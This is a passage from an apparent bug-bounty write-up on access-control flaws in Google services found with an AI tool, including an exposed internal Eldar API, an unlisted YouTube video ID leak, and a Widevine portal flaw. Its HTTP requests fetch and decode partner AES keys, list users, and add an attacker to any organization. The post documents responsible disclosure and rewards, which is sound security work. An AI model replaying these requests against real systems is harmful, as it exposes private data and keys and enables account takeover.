  <span class="hljs-attr">&quot;userId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;36825&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;emailAddress&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;gvrptest2@gmail.com&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;role&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ADMIN&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;status&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;PENDING&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>However, I wasn&#39;t whitelisted for the UI (<a href="https://admanager.google.com" target="_blank" rel="noopener noreferrer">admanager.google.com</a>) so I wasn&#39;t able to access the actual application frontend. I reported two separate issues for this API, and it was awarded a total of <strong>$30,000</strong>.</p>
<h4 id="eldar-corp-google-com"><a class="anchor" href="#eldar-corp-google-com" aria-hidden="true">#</a>eldar.corp.google.com</h4><p><a href="https://eldar.corp.google.com" target="_blank" rel="noopener noreferrer">Eldar</a> seems to be an internal Googler-only website used for managing internal privacy requests/assessments. While the frontend itself is protected behind <a href="https://www.usenix.org/system/files/login/articles/login_winter16_05_cittadini.pdf" target="_blank" rel="noopener noreferrer">ÜberProxy</a> since it&#39;s on <code>*.corp.google.com</code>, the API itself was exposed publicly on <code>eldar-pa.clients6.google.com</code>, allowing non-Googlers to query anything they want.</p>
<p>This was especially interesting due to the nature of information on Eldar. For instance, you could see requests for access to internal Google logs:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/assessments/19286785/revisions/1</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>eldar-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAIUYFTL6-LoTXYNZqtio1JKXLEbIvCnVs
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://www.google.com</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-nix">{
  <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;assessments/19286785/revisions/1&quot;</span>,
  <span class="hljs-string">&quot;lastUpdatedTimestamp&quot;</span>: <span class="hljs-string">&quot;2024-10-08T08:14:13.915893Z&quot;</span>,
  <span class="hljs-string">&quot;sections&quot;</span>: [
    {
      <span class="hljs-string">&quot;name&quot;</span>: <span class="hljs-string">&quot;assessments/19286785/revisions/1/sections/1000001001&quot;</span>,
      <span class="hljs-string">&quot;title&quot;</span>: <span class="hljs-string">&quot;Logs Access Request&quot;</span>,
      <span class="hljs-string">&quot;info&quot;</span>: <span class="hljs-string">&quot;Fill this assessment to request access to <span class="hljs-char escape_">\u</span>003ca href=<span class="hljs-char escape_">\&quot;</span>http://go/sawmill-team<span class="hljs-char escape_">\&quot;</span> target=<span class="hljs-char escape_">\&quot;</span>_blank<span class="hljs-char escape_">\&quot;</span><span class="hljs-char escape_">\u</span>003eSawmill logs<span class="hljs-char escape_">\u</span>003c/a<span class="hljs-char escape_">\u</span>003e. Once submitted for review, a <span class="hljs-char escape_">\u</span>003ca href=<span class="hljs-char escape_">\&quot;</span>http://go/la-federation<span class="hljs-char escape_">\&quot;</span> target=<span class="hljs-char escape_">\&quot;</span>_blank<span class="hljs-char escape_">\&quot;</span><span class="hljs-char escape_">\u</span>003edelegate reviewer<span class="hljs-char escape_">\u</span>003c/a<span class="hljs-char escape_">\u</span>003e will review your request for compliance with Google&#x27;s data and privacy policies. See <span class="hljs-char escape_">\u</span>003ca href=<span class="hljs-char escape_">\&quot;</span>http://go/logs-access<span class="hljs-char escape_">\&quot;</span>target=<span class="hljs-char escape_">\&quot;</span>_blank<span class="hljs-char escape_">\&quot;</span> aria-label=<span class="hljs-char escape_">\&quot;</span>Logs Access in Eldar user guide<span class="hljs-char escape_">\&quot;</span><span class="hljs-char escape_">\u</span>003ego/logs-access<span class="hljs-char escape_">\u</span>003c/a<span class="hljs-char escape_">\u</span>003e for documentation.&quot;</span>,
      <span class="hljs-string">&quot;questions&quot;</span>: [
          ...
            <span class="hljs-string">&quot;responses&quot;</span>: [
              <span class="hljs-string">&quot;Cloud Support wants to run a number of pre-defined query on Cloud Domains Logs: request log and Cloud Domains &amp;lt;-&amp;gt; Squarespace communication log.<span class="hljs-char escape_">\u</span>003cdiv<span class="hljs-char escape_">\u</span>003e<span class="hljs-char escape_">\u</span>003cbr<span class="hljs-char escape_">\u</span>003e<span class="hljs-char escape_">\u</span>003c/div<span class="hljs-char escape_">\u</span>003e<span class="hljs-char escape_">\u</span>003cdiv<span class="hljs-char escape_">\u</span>003eThis way they can quicker troubleshoot customer issues, especially those related to updating domain settings: DNSSEC, DNS, autorenewal.<span class="hljs-char escape_">\u</span>003c/div<span class="hljs-char escape_">\u</span>003e&quot;</span>
            ]
          }
        },
      ...
      ]</span></code></pre><p>The entire JSON was quite large, this looked like an internal logs access request within Google. I don&#39;t have access to the actual UI (since the assets are all hosted on eldar.corp.google.com), but I built this small UI for viewing all the JSON returned from the assessment:</p>
<div class="embedded-content" data-embed-src="/articles/embeds/hacking-google-with-ai/eldar-assessment-viewer.html"></div><blockquote>
<p>This UI is a recreation of what Eldar <strong>probably</strong> looks like (based off other css/html that I could find). The data itself is from a real assessment, but with many redactions to protect PII.</p>
</blockquote>
<p>It was also possible to create and share your own assessments. I originally found out that the AI found this bug from the many emails I received from Eldar (<a href="mailto:eldar-noreply+accessrequest@google.com">eldar-noreply+accessrequest@google.com</a>)</p>
<p>They initially fixed this bug by blocking <code>eldar-pa.clients6.google.com</code> from being publicly accessible (I assume they moved it to a *.corp.googleapis.com address behind <a href="https://www.usenix.org/system/files/login/articles/login_winter16_05_cittadini.pdf" target="_blank" rel="noopener noreferrer">ÜberProxy</a>), but it was still possible to reach this API via <code>autopush-eldar-pa-googleapis.sandbox.google.com</code>, which I informed them about.</p>
<p>Something interesting I learned from speaking to some Googlers - it seems that Eldar is where the product teams define security boundaries for applications in terms of what&#39;s intentional and what&#39;s not.</p>
<p>This bug was awarded a total of <strong>$26,674</strong> under: <em>Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</em> x2</p>
<h4 id="leaking-youtube-unlisted-videos"><a class="anchor" href="#leaking-youtube-unlisted-videos" aria-hidden="true">#</a>Leaking YouTube unlisted videos</h4><p>If you read <a href="/articles/youtube-creator-emails">my previous blog post</a> about a bug I found disclosing YouTube creator email addresses, I covered how YouTube Partners had a hidden <code>CONTENT_OWNER_TYPE_IVP</code> (aka &quot;torso&quot;) Content Manager account tied to them. As it turns out, whenever creators uploaded videos to their channel, it would create assets for these videos. </p>
<p>Taking from the <a href="https://developers.google.com/youtube/partner/reference/rest/v1/assets#Asset" target="_blank" rel="noopener noreferrer">Content ID API docs</a>, <em>an asset resource represents a piece of intellectual property, such as a sound recording or television episode.</em>:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#assetSnippet&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;A211451325656589&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;web&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Really cool song&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;timeCreated&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-10-30T01:40:01.000Z&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>For whatever reason, not only were assets created for unlisted videos uploaded, but the asset names of the WEB assets leak the video IDs of the videos uploaded, in the format of <code>Auto generated asset - &lt;video_id&gt;</code>. As a result, by searching for Content ID assets for &quot;Auto generated asset - &quot;, it&#39;s possible to leak youtube creator unlisted video IDs, which can be put in the format of <code>https://www.youtube.com/watch?v=&lt;video_id&gt;</code> URL to watch the unlisted video.</p>
<p>We can use Google&#39;s API explorer for this directly, by visiting <a href="https://developers.google.com/youtube/partner/reference/rest/v1/assetSearch/list?apix_params=%7B%22createdAfter%22%3A%222025-10-29T08%3A39%3A00Z%22%2C%22createdBefore%22%3A%222025-10-29T10%3A39%3A00Z%22%2C%22ownershipRestriction%22%3A%22NONE%22%2C%22q%22%3A%22Auto%20generated%20asset%20-%20%22%2C%22sort%22%3A%22TIME%22%7D" target="_blank" rel="noopener noreferrer">this URL</a> in Content ID API and clicking &quot;Execute&quot;. It would leak all video IDs of videos uploaded from channels in YouTube Partner Program between 2025-10-29T08:39:00Z and 2025-10-29T10:39:00Z, including unlisted and private video IDs.</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#assetSnippetList&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;nextPageToken&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;...&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;pageInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;totalResults&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">2000</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;items&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#assetSnippet&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;A211451325656589&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;web&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Auto generated asset - &lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;timeCreated&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-10-29T08:40:01.000Z&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#assetSnippet&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;A997928538227273&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;web&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Auto generated asset - &lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;timeCreated&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-10-29T08:40:01.000Z&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;kind&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;youtubePartner#assetSnippet&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;id&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;A475726124117220&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;web&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;title&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;Auto generated asset - &lt;REDACTED&gt;&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;timeCreated&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2025-10-29T08:40:01.000Z&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>This attack is extremely practical in the real world. Anyone could send a request every 30 seconds or so to get a live feed of every single partner-uploaded unlisted video. Why does this matter? Prediction markets like <a href="https://polymarket.com" target="_blank" rel="noopener noreferrer">Polymarket</a> let people bet on the outcome of future events, including things like when Google&#39;s <a href="https://x.com/sundarpichai/status/1989481514393121239" target="_blank" rel="noopener noreferrer">next Gemini model will be released</a>.</p>
<p>Companies often upload product announcement videos as unlisted first for internal testing before the actual public release. Someone abusing this vulnerability could watch for these pre-announcement uploads and place bets with insider knowledge, essentially turning a bug into a money printer. </p>
<p>This was awarded <strong>$12,000</strong> under <em>This report was of exceptional quality! Domains where a vulnerability could disclose particularly sensitive user data. Vulnerability category is &quot;bypass of significant security controls&quot;, other data/systems.</em></p>
<h4 id="widevine-ato"><a class="anchor" href="#widevine-ato" aria-hidden="true">#</a>Widevine ATO</h4><p>Widevine is a Digital Rights Management (DRM) technology developed by Widevine Technologies and acquired by Google in 2010. It is one of the most widely deployed DRM systems in the world, used by companies like Disney or Netflix to protect premium video content from being copied or pirated.</p>
<p>Google provides these partners with access to a <a href="https://partnerdash.google.com/apps/widevineintegrationconsole" target="_blank" rel="noopener noreferrer">management portal</a> to manage their Widevine keys. Normally, these Partner Dash apps are usually completely blocked off publicly, but strangely this one in particular was publicly accessible with a Google account, albeit you couldn&#39;t actually manage any other profile.</p>
<p>The AI disagreed -  as it turns out, while the frontend didn&#39;t seem like much, the API itself told another story. By sending the following request:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/orgs?orgIdentifier.actor.actorType=DRM_SERVICE&amp;orgIdentifier.orgType=CONTENT_OWNER</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkaliwidevineintegrationconsole-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://business.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0</code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;lowercaseOrganizationName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-string">&quot;000ztemptest000&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;000ztemptest001&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;000ztemptest002&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;00ztest00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;20sec&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;20secifb&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;20seckbb&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;3dweb&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;a3sa&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;aavmobile&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;abox42&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;accenture&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;accenturedt&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;accentureinfinity&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-string">&quot;accenturekarate&quot;</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>It dumped all the organizations that had an account on their Widevine portal. You could even view all their Widevine keys:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v1/orgs/000ztemptest000?orgIdentifier.actor.actorType=DRM_SERVICE&amp;orgIdentifier.orgType=CONTENT_PROVIDER</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkaliwidevineintegrationconsole-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://appdistribution.firebase.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0</code></pre><blockquote>
<p>This was a test user I identified from the previous request.</p>
</blockquote>
<p><strong>Response</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;name&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;000zTempTest000&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;widevineOrganizationId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;123&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;flags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2048066&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;pgpEncryptionKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;-----BEGIN PGP PUBLIC KEY BLOCK-----\n\nmQENBF9cD5IBCADOZqd1AeEjQ5Wi8DkdoN7nkNSTeAbgv9rig3K0gyC+O1jNyAGE\no0RklD6uV5l/+dfbXf3kZaZkptTcyZP...&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;enableExpiringSigningKeys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-literal"><span class="hljs-keyword">true</span></span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;encryptedExpiringSigningKeys&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;aesIv&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+h7gsg7SLKnGjRFaMu9gCHU2bFJT5AfuD6tfBPg==&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;aesKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/nSu04ghIwtdQKx5oRGqqkWQyKFTu3WZpXbHNlDhbJSoDj1OG0ScDa7ZIVSNAsHKWNGhAP5cuVgqZlTgNvc=&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;startDateEpochTimeSeconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1578177687&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;endDateEpochTimeSeconds&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;1578004888&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  ...</code></pre><p>The API even provided a nice request you could use to decode the AES key:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/orgs/000zTempTest000/decodeAesKey</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkaliwidevineintegrationconsole-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://appdistribution.firebase.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>250

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;iv&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALSnBDw2PHpdRxNQ0aefDaHXdma5jx/EI7MT4JAUhjth+Q983gzJowHJ2JD+h7gsg7SLKnGjRFaMu9gCHU2bFJT5AfuD6tfBPg==&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;key&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;ALSnBDwuni4Q+KQOSOL1U4zs/6809AKnyTJD/nSu04ghIwtdQKx5oRGqqkWQyKFTu3WZpXbHNlDhbJSoDj1OG0ScDa7ZIVSNAsHKWNGhAP5cuVgqZlTgNvc=&quot;</span>
<span class="hljs-punctuation">}</span></span></code></pre><p><strong>Response:</strong></p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;hexAesKey&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;dd7be18702bd535ed20e7db546aa3830c9bc2e51305b6f8d79d15aca87fb834e&quot;</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;hexAesIv&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;292cf4683a43802ad6dfd699f4ca9a5d&quot;</span>
<span class="hljs-punctuation">}</span></code></pre><p>It didn&#39;t end there, you could list the users of any Widevine organization:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/userInfo/listUserInfo</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkaliwidevineintegrationconsole-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://business.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>77

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;orgInfo&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;orgType&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;DEVICE&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;organization&quot;</span><span class="hljs-punctuation">:</span><span class="hljs-string">&quot;google&quot;</span>
  <span class="hljs-punctuation">}</span>
<span class="hljs-punctuation">}</span></span></code></pre><blockquote>
<p>I chose the organization <code>google</code> here to avoid targeting third-party customers</p>
</blockquote>
<p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;users&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    ...
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;email&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;██████@google.com&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;deviceManufacturerGroup&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;google&quot;</span>
      <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;gaiaId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;651804021137&quot;</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
    ...
  <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>... or just add yourself to any organization you want:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/v1/userInfo/addUser</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>alkaliwidevineintegrationconsole-pa.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://business.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyCvsH5XccxBXz59nRGtDxWjaklWjdKcKI0
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>116

<span class="language-perl">{
  <span class="hljs-string">&quot;email&quot;</span>: <span class="hljs-string">&quot;gvrptest2<span class="hljs-variable">@gmail</span>.com&quot;</span>,
  <span class="hljs-string">&quot;orgInfo&quot;</span>: {
    <span class="hljs-string">&quot;orgType&quot;</span>: <span class="hljs-string">&quot;DEVICE&quot;</span>,
    <span class="hljs-string">&quot;organization&quot;</span>: <span class="hljs-string">&quot;google&quot;</span>
  }
}</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">200</span> OK
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8

<span class="language-dust"><span class="hljs-template-variable">{}</span></span></code></pre><p>If you now visit <a href="https://partnerdash.google.com/apps/widevineintegrationconsole/deviceSeries" target="_blank" rel="noopener noreferrer">https://partnerdash.google.com/apps/widevineintegrationconsole/deviceSeries</a>, you can start managing devices for the org. This is a screenshot I took of what it looked like:</p>
<p><img src="/assets/hacking-google-with-ai/widevine.png" alt="" loading="lazy" /></p>
<p>This was awarded <strong>$16,004.40</strong> under <em>This report was of exceptional quality! Normal Google Applications. Vulnerability category is &quot;bypass of significant security controls&quot;, PII or other confidential information.</em></p>
<h4 id="plx-corp-google-com"><a class="anchor" href="#plx-corp-google-com" aria-hidden="true">#</a>plx.corp.google.com</h4><p>PLX tables is Google&#39;s internal data analytics and dashboarding platform, used exclusively by Google employees. You can see it listed in the <a href="https://github.com/jhuangtw/xg2xg" target="_blank" rel="noopener noreferrer">xg2xg repo</a>. Many Google services integrate with this for data analytics, notably YouTube.</p>
<p>The AI initially found this interesting endpoint in the internal DataHub API:</p>
<pre><code class="hljs language-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/v2/entries:suggest?query=PeopleView_Lifecycle&amp;enableAllResults=true&amp;enableDebug=true</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>datahub.clients6.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Authorization</span><span class="hljs-punctuation">: </span>&lt;redacted&gt;
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://console.cloud.google.com
<span class="hljs-attribute">X-Goog-Api-Key</span><span class="hljs-punctuation">: </span>AIzaSyAqrh2LhFgs8rDf0zUFkFeQkPwJBPLPAwE
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>0</code></pre><p>Response:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;results&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
    <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;entry&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;type&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;TABLE&quot;</span><span class="hljs-punctuation">,</span>
